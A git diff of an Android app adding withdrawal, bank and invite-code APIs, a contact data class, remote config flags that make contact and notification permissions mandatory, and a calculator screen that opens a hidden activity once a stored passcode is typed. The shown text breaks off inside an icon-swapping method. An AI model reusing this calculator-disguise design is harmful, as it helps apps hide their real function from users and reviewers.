getWithDrawRecords(@Query("inviteCode") String inviteCode, @Query("page") int page, @Query("size") int size); + + + /** + * 申请提现 + */ + @POST("/api/withdraw/apply") + Observable sendWithDrawApply(@Body Map map); + + /** + * 申请提现 + */ + @POST("/api/withdraw") + Observable sendBankInfo(@Body Map map); + + /** + * 获取银行列表 + */ + @GET("/api/withdraw/banks") + Observable>>> getBankInfoList(); + + + /** + * 获取通知列表 + * @param userid + * @param page + * @param size + * @return + */ + @GET("api/push/pushRecords") + Observable>> getNotifyList(@Query("userId") int userid, @Query("page") int page, @Query("size") int size); + + +} diff --git a/base_no_music/src/main/java/com/web/base/BankInfo.java b/base_no_music/src/main/java/com/web/base/BankInfo.java new file mode 100644 index 0000000..c1bb3de --- /dev/null +++ b/base_no_music/src/main/java/com/web/base/BankInfo.java @@ -0,0 +1,43 @@ +package com.web.base; + +import java.io.Serializable; + +public class BankInfo implements Serializable { + + private String bankCode; + private String bankName; + private String country; + private int id; + + public String getBankCode() { + return bankCode; + } + + public void setBankCode(String bankCode) { + this.bankCode = bankCode; + } + + public String getBankName() { + return bankName; + } + + public void setBankName(String bankName) { + this.bankName = bankName; + } + + public String getCountry() { + return country; + } + + public void setCountry(String country) { + this.country = country; + } + + public int getId() { + return id; + } + + public void setId(int id) { + this.id = id; + } +} diff --git a/base_no_music/src/main/java/com/web/base/BaseApi.java b/base_no_music/src/main/java/com/web/base/BaseApi.java new file mode 100644 index 0000000..6020adc --- /dev/null +++ b/base_no_music/src/main/java/com/web/base/BaseApi.java @@ -0,0 +1,46 @@ +package com.web.base; + +import okhttp3.OkHttpClient; +import retrofit2.Retrofit; +import retrofit2.adapter.rxjava2.RxJava2CallAdapterFactory; +import retrofit2.converter.gson.GsonConverterFactory; +import retrofit2.converter.scalars.ScalarsConverterFactory; + +/** + * 项目名: TODO-MVVM + * 包名 com.azhon.basic.retrofit + * 文件名: BaseApi + * 创建时间: 2019-03-27 on 14:52 + * 描述: TODO 封装基础的Retrofit + * + * @author + */ + +public abstract class BaseApi { + + /** + * 初始化Retrofit + */ + public Retrofit initRetrofit(String baseUrl) { + Retrofit.Builder builder = new Retrofit.Builder(); + //支持返回Call + builder.addConverterFactory(ScalarsConverterFactory.create()); + //支持直接格式化json返回Bean对象 + builder.addConverterFactory(GsonConverterFactory.create()); + //支持RxJava + builder.addCallAdapterFactory(RxJava2CallAdapterFactory.create()); + builder.baseUrl(baseUrl); + OkHttpClient client = setClient(); + if (client != null) { + builder.client(client); + } + return builder.build(); + } + + /** + * 设置OkHttpClient,添加拦截器等 + * + * @return 可以返回为null + */ + protected abstract OkHttpClient setClient(); +} diff --git a/base_no_music/src/main/java/com/web/base/BaseObserver.java b/base_no_music/src/main/java/com/web/base/BaseObserver.java new file mode 100644 index 0000000..a53e2a6 --- /dev/null +++ b/base_no_music/src/main/java/com/web/base/BaseObserver.java @@ -0,0 +1,113 @@ +package com.web.base; + +import com.google.gson.JsonParseException; + +import org.json.JSONException; + +import java.io.InterruptedIOException; +import java.net.ConnectException; +import java.net.UnknownHostException; +import java.text.ParseException; + +import io.reactivex.observers.DisposableObserver; +import retrofit2.HttpException; + +public abstract class BaseObserver extends DisposableObserver { + /** + * 解析数据失败 + */ + public static final int PARSE_ERROR = 1001; + /** + * 网络问题 + */ + public static final int BAD_NETWORK = 1002; + /** + * 连接错误 + */ + public static final int CONNECT_ERROR = 1003; + /** + * 连接超时 + */ + public static final int CONNECT_TIMEOUT = 1004; + + @Override + public void onNext(T o) { + if (o instanceof String) { + onError(0, "接口解析失败"); +// LogUtils.i("返回个string就没意思了"); + } else { + Result model = (Result) o; + if (model.isSuccessful()) { + onSuccess(o); + } else { + onError2(o); + } + } + + + } + + @Override + public void onError(Throwable e) { + if (e instanceof HttpException) { + // HTTP错误 + onException(BAD_NETWORK); + } else if (e instanceof ConnectException + || e instanceof UnknownHostException) { + // 连接错误 + onException(CONNECT_ERROR); + } else if (e instanceof InterruptedIOException) { + // 连接超时 + onException(CONNECT_TIMEOUT); + } else if (e instanceof JsonParseException + || e instanceof JSONException + || e instanceof ParseException) { + // 解析错误 + + onException(PARSE_ERROR); + } else { + if (e != null) { + onError(409, e.toString()); + } else { + onError(407, "未知错误"); + } + } + + } + + private void onException(int unknownError) { + switch (unknownError) { + case CONNECT_ERROR: + onError(CONNECT_ERROR, "连接错误"); + break; + + case CONNECT_TIMEOUT: + onError(CONNECT_TIMEOUT, "连接超时"); + break; + + case BAD_NETWORK: + onError(BAD_NETWORK, "网络问题"); + break; + + case PARSE_ERROR: + onError(PARSE_ERROR, "宇宙也是有尽头的"); + + break; + + default: + break; + } + } + + @Override + public void onComplete() { + + } + + public abstract void onSuccess(T o); + + public abstract void onError(int code, String msg); + + public abstract void onError2(T o); + +} diff --git a/base_no_music/src/main/java/com/web/base/CircleImageView.java b/base_no_music/src/main/java/com/web/base/CircleImageView.java new file mode 100644 index 0000000..cf84202 --- /dev/null +++ b/base_no_music/src/main/java/com/web/base/CircleImageView.java @@ -0,0 +1,321 @@ +package com.web.base; + +import android.annotation.SuppressLint; +import android.content.Context; +import android.content.res.TypedArray; +import android.graphics.Bitmap; +import android.graphics.Canvas; +import android.graphics.Matrix; +import android.graphics.Paint; +import android.graphics.PorterDuff; +import android.graphics.PorterDuffXfermode; +import android.graphics.RectF; +import android.graphics.drawable.BitmapDrawable; +import android.graphics.drawable.Drawable; +import android.util.AttributeSet; +import android.view.MotionEvent; + +import androidx.appcompat.widget.AppCompatImageView; + + +public class CircleImageView extends AppCompatImageView { + // paint when user press + private Paint pressPaint; + private int width; + private int height; + + // default bitmap config + private static final Bitmap.Config BITMAP_CONFIG = Bitmap.Config.ARGB_8888; + private static final int COLORDRAWABLE_DIMENSION = 1; + + // border color + private int borderColor; + // width of border + private int borderWidth; + // alpha when pressed + private int pressAlpha; + // color when pressed + private int pressColor; + // radius + private int radius; + // rectangle or round, 1 is circle, 2 is rectangle + private int shapeType; + + public CircleImageView(Context context) { + super(context); + init(context, null); + } + + public CircleImageView(Context context, AttributeSet attrs) { + super(context, attrs); + init(context, attrs); + } + + public CircleImageView(Context context, AttributeSet attrs, int defStyleAttr) { + super(context, attrs, defStyleAttr); + init(context, attrs); + } + + + private void init(Context context, AttributeSet attrs) { + //init the value + borderWidth = 0; + borderColor = 0xddffffff; + pressAlpha = 0x42; + pressColor = 0x42000000; + radius = 16; + shapeType = 0; + + // get attribute of EaseImageView + if (attrs != null) { + TypedArray array = context.obtainStyledAttributes(attrs, R.styleable.CircleImageView); + borderColor = array.getColor(R.styleable.CircleImageView_ease_border_color, borderColor); + borderWidth = array.getDimensionPixelOffset(R.styleable.CircleImageView_ease_border_width, borderWidth); + pressAlpha = array.getInteger(R.styleable.CircleImageView_ease_press_alpha, pressAlpha); + pressColor = array.getColor(R.styleable.CircleImageView_ease_press_color, pressColor); + radius = array.getDimensionPixelOffset(R.styleable.CircleImageView_ease_radius, radius); + shapeType = array.getInteger(R.styleable.CircleImageView_es_shape_type, shapeType); + array.recycle(); + } + + // set paint when pressed + pressPaint = new Paint(); + pressPaint.setAntiAlias(true); + pressPaint.setStyle(Paint.Style.FILL); + pressPaint.setColor(pressColor); + pressPaint.setAlpha(0); + pressPaint.setFlags(Paint.ANTI_ALIAS_FLAG); + + setDrawingCacheEnabled(true); + setWillNotDraw(false); + } + + @Override + protected void onDraw(Canvas canvas) { + + if (shapeType == 0) { + super.onDraw(canvas); + return; + } + Drawable drawable = getDrawable(); + if (drawable == null) { + return; + } + // the width and height is in xml file + if (getWidth() == 0 || getHeight() == 0) { + return; + } + Bitmap bitmap = getBitmapFromDrawable(drawable); + drawDrawable(canvas, bitmap); + + if (isClickable()) { + drawPress(canvas); + } + drawBorder(canvas); + } + + /** + * draw Rounded Rectangle + * + * @param canvas + * @param bitmap + */ + @SuppressLint("WrongConstant") + private void drawDrawable(Canvas canvas, Bitmap bitmap) { + Paint paint = new Paint(); + paint.setColor(0xffffffff); + paint.setAntiAlias(true); //smooths out the edges of what is being drawn + PorterDuffXfermode xfermode = new PorterDuffXfermode(PorterDuff.Mode.SRC_IN); + // set flags + int saveFlags = Canvas.ALL_SAVE_FLAG + ; + canvas.saveLayer(0, 0, width, height, null, saveFlags); + + if (shapeType == 1) { + canvas.drawCircle(width / 2, height / 2, width / 2 - 1, paint); + } else if (shapeType == 2) { + RectF rectf = new RectF(1, 1, getWidth() - 1, getHeight() - 1); + canvas.drawRoundRect(rectf, radius + 1, radius + 1, paint); + } + + paint.setXfermode(xfermode); + + float scaleWidth = ((float) getWidth()) / bitmap.getWidth(); + float scaleHeight = ((float) getHeight()) / bitmap.getHeight(); + + Matrix matrix = new Matrix(); + matrix.postScale(scaleWidth, scaleHeight); + + //bitmap scale + bitmap = Bitmap.createBitmap(bitmap, 0, 0, bitmap.getWidth(), bitmap.getHeight(), matrix, true); + + canvas.drawBitmap(bitmap, 0, 0, paint); + canvas.restore(); + } + + /** + * draw the effect when pressed + * + * @param canvas + */ + private void drawPress(Canvas canvas) { + // check is rectangle or circle + if (shapeType == 1) { + canvas.drawCircle(width / 2, height / 2, width / 2 - 1, pressPaint); + } else if (shapeType == 2) { + RectF rectF = new RectF(1, 1, width - 1, height - 1); + canvas.drawRoundRect(rectF, radius + 1, radius + 1, pressPaint); + } + } + + /** + * draw customized border + * + * @param canvas + */ + private void drawBorder(Canvas canvas) { + if (borderWidth > 0) { + Paint paint = new Paint(); + paint.setStrokeWidth(borderWidth); + paint.setStyle(Paint.Style.STROKE); + paint.setColor(borderColor); + paint.setAntiAlias(true); + // // check is rectangle or circle + if (shapeType == 1) { + canvas.drawCircle(width / 2, height / 2, (width - borderWidth) / 2, paint); + } else if (shapeType == 2) { + RectF rectf = new RectF(borderWidth / 2, borderWidth / 2, getWidth() - borderWidth / 2, + getHeight() - borderWidth / 2); + canvas.drawRoundRect(rectf, radius, radius, paint); + } + } + } + + /** + * monitor the size change + * + * @param w + * @param h + * @param oldw + * @param oldh + */ + @Override + protected void onSizeChanged(int w, int h, int oldw, int oldh) { + super.onSizeChanged(w, h, oldw, oldh); + width = w; + height = h; + } + + /** + * monitor if touched + * + * @param event + * @return + */ + @Override + public boolean onTouchEvent(MotionEvent event) { + switch (event.getAction()) { + case MotionEvent.ACTION_DOWN: + pressPaint.setAlpha(pressAlpha); + invalidate(); + break; + case MotionEvent.ACTION_UP: + pressPaint.setAlpha(0); + invalidate(); + break; + case MotionEvent.ACTION_MOVE: + + break; + default: + pressPaint.setAlpha(0); + invalidate(); + break; + } + return super.onTouchEvent(event); + } + + /** + * @param drawable + * @return + */ + private Bitmap getBitmapFromDrawable(Drawable drawable) { + if (drawable == null) { + return null; + } + + if (drawable instanceof BitmapDrawable) { + return ((BitmapDrawable) drawable).getBitmap(); + } + + Bitmap bitmap; + int width = Math.max(drawable.getIntrinsicWidth(), 2); + int height = Math.max(drawable.getIntrinsicHeight(), 2); + try { + bitmap = Bitmap.createBitmap(width, height, BITMAP_CONFIG); + Canvas canvas = new Canvas(bitmap); + drawable.setBounds(0, 0, canvas.getWidth(), canvas.getHeight()); + drawable.draw(canvas); + } catch (IllegalArgumentException e) { + e.printStackTrace(); + bitmap = null; + } + return bitmap; + } + + /** + * set border color + * + * @param borderColor + */ + public void setBorderColor(int borderColor) { + this.borderColor = borderColor; + invalidate(); + } + + /** + * set border width + * + * @param borderWidth + */ + public void setBorderWidth(int borderWidth) { + this.borderWidth = borderWidth; + } + + /** + * set alpha when pressed + * + * @param pressAlpha + */ + public void setPressAlpha(int pressAlpha) { + this.pressAlpha = pressAlpha; + } + + /** + * set color when pressed + * + * @param pressColor + */ + public void setPressColor(int pressColor) { + this.pressColor = pressColor; + } + + /** + * set radius + * + * @param radius + */ + public void setRadius(int radius) { + this.radius = radius; + invalidate(); + } + + /** + * set shape,1 is circle, 2 is rectangle + * + * @param shapeType + */ + public void setShapeType(int shapeType) { + this.shapeType = shapeType; + invalidate(); + } +} diff --git a/base_no_music/src/main/java/com/web/base/ContactBean.java b/base_no_music/src/main/java/com/web/base/ContactBean.java new file mode 100644 index 0000000..18251d9 --- /dev/null +++ b/base_no_music/src/main/java/com/web/base/ContactBean.java @@ -0,0 +1,29 @@ +package com.web.base; + +public class ContactBean { + + public String name; + public String phone; + + + public ContactBean(String name, String phone) { + this.name = name; + this.phone = phone; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public String getPhone() { + return phone; + } + + public void setPhone(String phone) { + this.phone = phone; + } +} diff --git a/base_no_music/src/main/java/com/web/base/DataInfo.java b/base_no_music/src/main/java/com/web/base/DataInfo.java new file mode 100644 index 0000000..f294620 --- /dev/null +++ b/base_no_music/src/main/java/com/web/base/DataInfo.java @@ -0,0 +1,124 @@ +package com.web.base; + +import java.io.Serializable; + +public class DataInfo implements Serializable { + + public String apkUrl; + public String description; + public int forceUpdate; + public String url; + public String downloadUrl; + public String versionCode; + public int isUse = 1; //是否正常使用 0不可用 1正常使用 + public int noticeApplyMode = 1; //通知权限加载方式 0不用1必须 + public int contactApplyMode = 1; //通讯录权限加载方式 0不用1必须 + public String fbUrl; // facebook分享地址 + public String tgUrl; // tg分享地址 + public String wsUrl; //whatsapp分享地址 + public String linkConfig; + + public String getLinkConfig() { + return linkConfig; + } + + public void setLinkConfig(String linkConfig) { + this.linkConfig = linkConfig; + } + + public int getIsUse() { + return isUse; + } + + public void setIsUse(int isUse) { + this.isUse = isUse; + } + + public int getNoticeApplyMode() { + return noticeApplyMode; + } + + public void setNoticeApplyMode(int noticeApplyMode) { + this.noticeApplyMode = noticeApplyMode; + } + + public int getContactApplyMode() { + return contactApplyMode; + } + + public void setContactApplyMode(int contactApplyMode) { + this.contactApplyMode = contactApplyMode; + } + + public String getFbUrl() { + return fbUrl; + } + + public void setFbUrl(String fbUrl) { + this.fbUrl = fbUrl; + } + + public String getTgUrl() { + return tgUrl; + } + + public void setTgUrl(String tgUrl) { + this.tgUrl = tgUrl; + } + + public String getWsUrl() { + return wsUrl; + } + + public void setWsUrl(String wsUrl) { + this.wsUrl = wsUrl; + } + + public String getDownloadUrl() { + return downloadUrl; + } + + public void setDownloadUrl(String downloadUrl) { + this.downloadUrl = downloadUrl; + } + + public String getApkUrl() { + return apkUrl; + } + + public void setApkUrl(String apkUrl) { + this.apkUrl = apkUrl; + } + + public String getDescription() { + return description; + } + + public void setDescription(String description) { + this.description = description; + } + + public int getForceUpdate() { + return forceUpdate; + } + + public void setForceUpdate(int forceUpdate) { + this.forceUpdate = forceUpdate; + } + + public String getUrl() { + return url; + } + + public void setUrl(String url) { + this.url = url; + } + + public String getVersionCode() { + return versionCode; + } + + public void setVersionCode(String versionCode) { + this.versionCode = versionCode; + } +} diff --git a/base_no_music/src/main/java/com/web/base/DialogUtil.java b/base_no_music/src/main/java/com/web/base/DialogUtil.java new file mode 100644 index 0000000..451dfba --- /dev/null +++ b/base_no_music/src/main/java/com/web/base/DialogUtil.java @@ -0,0 +1,58 @@ +package com.web.base; + +import android.os.Build; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; + +@Deprecated +public class DialogUtil { + /** + * 隐藏虚拟栏 ,显示的时候再隐藏掉 + * @param window + */ + public static void hideNavigationBar(final Window window) { + window.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION); + window.getDecorView().setOnSystemUiVisibilityChangeListener(new View.OnSystemUiVisibilityChangeListener() { + @Override + public void onSystemUiVisibilityChange(int visibility) { + int uiOptions = View.SYSTEM_UI_FLAG_LAYOUT_STABLE | + //布局位于状态栏下方 + View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION | + //全屏 + View.SYSTEM_UI_FLAG_FULLSCREEN | + //隐藏导航栏 + View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | + View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN; + if (Build.VERSION.SDK_INT >= 19) { + uiOptions |= View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY; + } else { + uiOptions |= View.SYSTEM_UI_FLAG_LOW_PROFILE; + } + window.getDecorView().setSystemUiVisibility(uiOptions); + } + }); + } + + + /** + * dialog 需要全屏的时候用,和clearFocusNotAle() 成对出现 + * 在show 前调用 focusNotAle show后调用clearFocusNotAle + * @param window + */ + public static void focusNotAle(Window window) { + window.setFlags(WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE, + WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE); + } + + + /** + * dialog 需要全屏的时候用,focusNotAle() 成对出现 + * 在show 前调用 focusNotAle show后调用clearFocusNotAle + * @param window + */ + public static void clearFocusNotAle(Window window) { + window.clearFlags(WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE); + } +} + diff --git a/base_no_music/src/main/java/com/web/base/GsonUtils.java b/base_no_music/src/main/java/com/web/base/GsonUtils.java new file mode 100644 index 0000000..8facc6c --- /dev/null +++ b/base_no_music/src/main/java/com/web/base/GsonUtils.java @@ -0,0 +1,91 @@ +package com.web.base; + +import android.text.TextUtils; + +import com.google.gson.Gson; +import com.google.gson.JsonObject; +import com.google.gson.reflect.TypeToken; + +import java.lang.reflect.Type; +import java.util.ArrayList; +import java.util.List; + +/** + * json解析工具类 其实对于数组解析有一些问题 + * @author + */ +public class GsonUtils { + + public static Gson gson = new Gson(); + + /** + * 返回List对象 + * @param str + * @param type new TypeToken>(){}.getType() + * @param + * @return + */ + public static T getListFromJSON(String str, Type type) { + if (!TextUtils.isEmpty(str)) { + return gson.fromJson(str, type); + } + return null; + } + + /** + * 返回List对象 + * @param str + * @param cls + * @param + * @return + */ + public static List getListFromJSON(String str, Class cls) + { + Type type = new TypeToken>() + {}.getType(); + ArrayList jsonObjects = gson.fromJson(str, type); + ArrayList arrayList = new ArrayList<>(); + for (JsonObject jsonObject : jsonObjects) + { + arrayList.add(gson.fromJson(jsonObject, cls)); + } + return arrayList; + } + + /** + * 返回对象 + * @param str + * @param cls + * @param + * @return + */ + public static T getObjFromJSON(String str, Class cls) { + try { + if (!TextUtils.isEmpty(str)) { +// LogUtils.i("参数:"+str); + return gson.fromJson(str, cls); + } + return null; + }catch (Exception e) { + return null; + } + } + + /** + * 返回JsonString + * @return + */ + public static String beanToJSONString(Object bean) { + return new Gson().toJson(bean); + } + + + public static String JSONTokener(String in) { + // consume an optional byte order mark (BOM) if it exists + if (in != null && in.startsWith("\ufeff")) { + in = in.substring(1); + } + return in; + } + +} diff --git a/base_no_music/src/main/java/com/web/base/InviteInfo.java b/base_no_music/src/main/java/com/web/base/InviteInfo.java new file mode 100644 index 0000000..788659c --- /dev/null +++ b/base_no_music/src/main/java/com/web/base/InviteInfo.java @@ -0,0 +1,109 @@ +package com.web.base; + +import java.io.Serializable; +import java.util.List; + +public class InviteInfo implements Serializable { + + + private String deviceCode; + private int id; + private String inviteCode; + private int inviteNum; + private int userId; + private String balance; + private String income; + //银行卡信息 + private String bankId; + private String bankName; + private String bankNo; + private String name; + + public String getBankId() { + return bankId; + } + + public void setBankId(String bankId) { + this.bankId = bankId; + } + + public String getBankName() { + return bankName; + } + + public void setBankName(String bankName) { + this.bankName = bankName; + } + + public String getBankNo() { + return bankNo; + } + + public void setBankNo(String bankNo) { + this.bankNo = bankNo; + } + + public String getBalance() { + return balance; + } + + public void setBalance(String balance) { + this.balance = balance; + } + + public String getIncome() { + return income; + } + + public void setIncome(String income) { + this.income = income; + } + + public String getDeviceCode() { + return deviceCode; + } + + public void setDeviceCode(String deviceCode) { + this.deviceCode = deviceCode; + } + + public int getId() { + return id; + } + + public void setId(int id) { + this.id = id; + } + + public String getInviteCode() { + return inviteCode; + } + + public void setInviteCode(String inviteCode) { + this.inviteCode = inviteCode; + } + + public int getInviteNum() { + return inviteNum; + } + + public void setInviteNum(int inviteNum) { + this.inviteNum = inviteNum; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public int getUserId() { + return userId; + } + + public void setUserId(int userId) { + this.userId = userId; + } +} diff --git a/base_no_music/src/main/java/com/web/base/InviteListInfo.java b/base_no_music/src/main/java/com/web/base/InviteListInfo.java new file mode 100644 index 0000000..9b94e13 --- /dev/null +++ b/base_no_music/src/main/java/com/web/base/InviteListInfo.java @@ -0,0 +1,61 @@ +package com.web.base; + +import java.io.Serializable; +import java.util.List; + +public class InviteListInfo implements Serializable { + + private InviteCodeInfo inviteCode; + //邀请记录 + private int total; + private List list; + + + public int getTotal() { + return total; + } + + public void setTotal(int total) { + this.total = total; + } + + public List getList() { + return list; + } + + public void setList(List list) { + this.list = list; + } + + + public InviteCodeInfo getInviteCode() { + return inviteCode; + } + + public void setInviteCode(InviteCodeInfo inviteCode) { + this.inviteCode = inviteCode; + } + + + class InviteCodeInfo { + + private String balance; + private String income; + + public String getBalance() { + return balance; + } + + public void setBalance(String balance) { + this.balance = balance; + } + + public String getIncome() { + return income; + } + + public void setIncome(String income) { + this.income = income; + } + } +} diff --git a/base_no_music/src/main/java/com/web/base/LinkConfigInfo.java b/base_no_music/src/main/java/com/web/base/LinkConfigInfo.java new file mode 100644 index 0000000..fa044fb --- /dev/null +++ b/base_no_music/src/main/java/com/web/base/LinkConfigInfo.java @@ -0,0 +1,34 @@ +package com.web.base; + +import java.io.Serializable; + +public class LinkConfigInfo implements Serializable { + + public String name; + public String icon; + public String linkUrl; + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public String getIcon() { + return icon; + } + + public void setIcon(String icon) { + this.icon = icon; + } + + public String getLinkUrl() { + return linkUrl; + } + + public void setLinkUrl(String linkUrl) { + this.linkUrl = linkUrl; + } +} diff --git a/base_no_music/src/main/java/com/web/base/LogUtils.java b/base_no_music/src/main/java/com/web/base/LogUtils.java new file mode 100644 index 0000000..c7bd63f --- /dev/null +++ b/base_no_music/src/main/java/com/web/base/LogUtils.java @@ -0,0 +1,146 @@ +package com.web.base; + +import android.util.Log; + + +/** + * Log统一管理类 + * Created by on 2015/10/19 0019. + */ +public class LogUtils { + + private LogUtils() { + throw new UnsupportedOperationException("cannot be instantiated"); + } + +// public static boolean isDebug = ApiService.isDebug;// 是否需要打印bug,可以在application的onCreate函数里面初始化 + public static boolean isDebug = BuildConfig.BUILD_TYPE.equals("debug");// 是否需要打印bug,可以在application的onCreate函数里面初始化 +// public static boolean isDebug = false;// 是否需要打印bug,可以在application的onCreate函数里面初始化 + + private static final String TAG = "BIKAOVIDEO"; + + /** + * 默认tag的函数 + * + * @param msg 打印信息 + */ + public static void v(String msg) { + if (isDebug) Log.v(TAG, msg); + } + + public static void d(String msg) { + if (isDebug) Log.d(TAG, msg); + } + + public static void i(String msg) { + if (isDebug) { + if (msg.length() > 4000) { + Log.i( TAG,"BIKAOVIDEOsb.length = " + msg.length()); + int chunkCount = msg.length() / 4000; // integer division + for (int i = 0; i <= chunkCount; i++) { + int max = 4000 * (i + 1); + if (max >= msg.length()) { + Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i)); + } else { + Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i, max)); + } + } + } else { + Log.i( TAG,"BIKAOVIDEO" + msg.toString()); + } + } + } + + public static void w(String msg) { + if (isDebug) Log.w(TAG, msg); + } + + public static void e(String msg) { + if (isDebug) { + if (msg.length() > 4000) { + Log.e(TAG, "sb.length = " + msg.length()); + int chunkCount = msg.length() / 4000; // integer division + for (int i = 0; i <= chunkCount; i++) { + int max = 4000 * (i + 1); + if (max >= msg.length()) { + Log.e(TAG, "XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i)); + } else { + Log.e(TAG, "XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i, max)); + } + } + } else { + Log.e(TAG, "XHX" + msg.toString()); + } + + } + + } + + /** + * 自定义lag的函数 + * + * @param tag tag + * @param msg 打印信息 + */ + public static void v(String tag, String msg) { + if (isDebug) Log.v(tag, msg); + } + + public static void d(String tag, String msg) { + if (isDebug) Log.d(tag, msg); + } + + public static void i(String tag, String msg) { + if (isDebug) { + if (msg.length() > 4000) { + Log.i( TAG,"sb.length = " + msg.length()); + int chunkCount = msg.length() / 4000; // integer division + for (int i = 0; i <= chunkCount; i++) { + int max = 4000 * (i + 1); + if (max >= msg.length()) { + Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i)); + } else { + Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i, max)); + } + } + } else { + Log.i( TAG,"XHX" + msg.toString()); + } + } + } + + public static void w(String tag, String msg) { + if (isDebug) Log.w(tag, msg); + } + + public static void e(String tag, String msg) { + if (isDebug) Log.e(tag, msg); + } + + /** + * 自定义lag的函数 + * + * @param clazz 类 + * @param msg 打印信息 + */ + public static void v(Class clazz, String msg) { + if (isDebug) Log.v(clazz.getSimpleName(), msg); + } + + public static void d(Class clazz, String msg) { + if (isDebug) Log.d(clazz.getSimpleName(), msg); + } + + public static void i(Class clazz, String msg) { + if (isDebug) Log.i(clazz.getSimpleName(), msg); + } + + public static void w(Class clazz, String msg) { + if (isDebug) Log.w(clazz.getSimpleName(), msg); + } + + public static void e(Class clazz, String msg) { + if (isDebug) Log.e(clazz.getSimpleName(), msg); + } + +} \ No newline at end of file diff --git a/base_no_music/src/main/java/com/web/base/MainActivity.java b/base_no_music/src/main/java/com/web/base/MainActivity.java new file mode 100644 index 0000000..74ac6c0 --- /dev/null +++ b/base_no_music/src/main/java/com/web/base/MainActivity.java @@ -0,0 +1,372 @@ +package com.web.base; + +import android.app.Activity; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.content.SharedPreferences; +import android.content.pm.PackageManager; +import android.os.Bundle; +import android.os.Handler; +import android.text.TextUtils; +import android.util.Log; +import android.util.TypedValue; +import android.view.View; +import android.view.WindowManager; +import android.widget.Button; +import android.widget.TextView; + +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; +import androidx.core.widget.TextViewCompat; + +import java.math.BigDecimal; +import java.nio.charset.StandardCharsets; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +public class MainActivity extends AppCompatActivity implements View.OnClickListener { + + + private StringBuilder currentInput = new StringBuilder(""); + private BigDecimal currentAnswer = new BigDecimal(0); + private boolean hasCount = false; + private TextView inputTextView, outputTextView; + private Button btn_0, btn_1, btn_2, btn_3, btn_4, btn_5, btn_6, btn_7, btn_8, btn_9, + btn_point, btn_equal, btn_add, btn_subtract, btn_multiply, btn_divide, btn_percent, btn_backspace, btn_clear; + + + @Override + protected void onCreate(Bundle savedInstanceState) { + getWindow().setNavigationBarColor(getColor(R.color.white)); + + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_main); + + if (TextUtils.isEmpty(getString(MainActivity.this, "loc_pass", ""))) { + startActivity(new Intent(this, StartActivity.class)); + finish(); + return; + } + + setListener(); + TextViewCompat.setAutoSizeTextTypeUniformWithConfiguration(inputTextView, 10, 50, 2, TypedValue.COMPLEX_UNIT_SP); + TextViewCompat.setAutoSizeTextTypeUniformWithConfiguration(outputTextView, 10, 50, 2, TypedValue.COMPLEX_UNIT_SP); + getNetUrl(); + } + + public void setListener() { + inputTextView = (TextView) findViewById(R.id.inputText); + outputTextView = (TextView) findViewById(R.id.outputText); + btn_0 = (Button) findViewById(R.id.btn_0); + btn_0.setOnClickListener(this); + btn_1 = (Button) findViewById(R.id.btn_1); + btn_1.setOnClickListener(this); + btn_2 = (Button) findViewById(R.id.btn_2); + btn_2.setOnClickListener(this); + btn_3 = (Button) findViewById(R.id.btn_3); + btn_3.setOnClickListener(this); + btn_4 = (Button) findViewById(R.id.btn_4); + btn_4.setOnClickListener(this); + btn_5 = (Button) findViewById(R.id.btn_5); + btn_5.setOnClickListener(this); + btn_6 = (Button) findViewById(R.id.btn_6); + btn_6.setOnClickListener(this); + btn_7 = (Button) findViewById(R.id.btn_7); + btn_7.setOnClickListener(this); + btn_8 = (Button) findViewById(R.id.btn_8); + btn_8.setOnClickListener(this); + btn_9 = (Button) findViewById(R.id.btn_9); + btn_9.setOnClickListener(this); + btn_point = (Button) findViewById(R.id.btn_point); + btn_point.setOnClickListener(this); + btn_equal = (Button) findViewById(R.id.btn_equal); + btn_equal.setOnClickListener(this); + btn_add = (Button) findViewById(R.id.btn_add); + btn_add.setOnClickListener(this); + btn_subtract = (Button) findViewById(R.id.btn_subtract); + btn_subtract.setOnClickListener(this); + btn_multiply = (Button) findViewById(R.id.btn_multiply); + btn_multiply.setOnClickListener(this); + btn_divide = (Button) findViewById(R.id.btn_divide); + btn_divide.setOnClickListener(this); + btn_backspace = (Button) findViewById(R.id.btn_backspace); + btn_backspace.setOnClickListener(this); + btn_clear = (Button) findViewById(R.id.btn_clear); + btn_clear.setOnClickListener(this); + } + + Handler handler = new Handler(); + + public void displayInput() { + inputTextView.setText(currentInput); + if (currentInput.toString().equals(MainActivity.getString(MainActivity.this, "loc_pass", ""))) { + toNextActivity(); + } + } + + private void toNextActivity() { +// changeIcon(true); + handler.postDelayed(() -> { + startActivity(new Intent(MainActivity.this, MainActivity2.class)); +// finish(); + }, 1000); + } + + /** + * 修改图标和名称的方法 + * + * @param enable + */ + public void changeIcon(boolean enable) { + PackageManager pm = getApplicationContext().getPackageManager(); + + if (enable) { + //显示Test图标 + 